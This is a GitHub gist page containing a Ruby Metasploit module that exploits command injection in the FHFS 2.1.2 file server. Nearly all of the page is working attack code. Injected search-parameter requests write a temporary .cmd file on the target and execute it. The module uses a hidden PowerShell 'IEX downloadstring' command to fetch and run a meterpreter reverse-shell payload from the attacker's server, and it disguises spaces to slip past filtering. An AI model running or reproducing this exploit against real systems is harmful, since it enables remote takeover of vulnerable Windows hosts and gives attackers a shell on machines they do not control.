Skip to content

Instantly share code, notes, and snippets.

@jmacko
Last active September 3, 2019 16:40
Show Gist options
  • Save jmacko/a9a22a43e6dc1b0d6e90 to your computer and use it in GitHub Desktop.
Save jmacko/a9a22a43e6dc1b0d6e90 to your computer and use it in GitHub Desktop.
FHFS 2.1.2 Command Injection Exploit - Derbycon 2015
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "FHFS Remote Command Execution",
'Description' => %q{
FHFS is vulnerable to remote command execution attack due to a poor regex in the file
ParserLib.pas. This module has been tested successfully on FHFS 2.1.2 over Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeff Macko <jmacko[at]macko.net>' # metasploit module
],
'References' =>
[
['URL','https://www.exploit-db.com/exploits/37985/']
],
'Payload' => { 'Payload' => 'python/meterpreter/reverse_tcp' },
'Platform' => 'win',
'Targets' =>
[
['PSH', {
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64]
}],
],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
OptString.new('TEMPFILENAME', [true, 'The name of the temp file used on the remote filesytem', rand_text_alpha(rand(10)+5)+'.cmd']),
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/'
})
if res && res.headers['Server'] && res.headers['Server'] =~ /FHFS .+v([\d.]+)/
version = $1
if Gem::Version.new(version) <= Gem::Version.new("2.1.2")
print_status("Target is running FSHS version: #{version}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def on_request_uri(cli, req)
print_status("Request for payload: #{peer}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
#attempt to cleanup temp file on remote system
file_name = datastore["TEMPFILENAME"]
send_request_raw({
'method' => 'GET',
'uri' => "/?search={.delete|#{file_name}.}"
})
# remove resource after serving 1st request as 'exec' execute 2x
# during exploitation
stop_service
end
def primer
file_name = datastore["TEMPFILENAME"]
url = get_uri
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
command_code = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
payloads = [
"save|#{file_name}|#{command_code}",
"exec|#{file_name}"
]
print_status("Sending a malicious request to #{target_uri}")
payloads.each do |payload|
#replace all spaces in command with a space
#We're borrowing the space from the "program files" environment variable
#The syntax below, asks for one character starting at the 10th character.
payload.gsub! ' ','%programfiles:~10,1%'
send_request_raw({
'method' => 'GET',
'uri' => "/?search={.#{payload}.}"
})
end
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
#cleanup file on remote server
#attempt to cleanup temp file on remote system
file_name = datastore["TEMPFILENAME"]
send_request_raw({
'method' => 'GET',
'uri' => "/?search={.delete|#{file_name}.}"
})
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment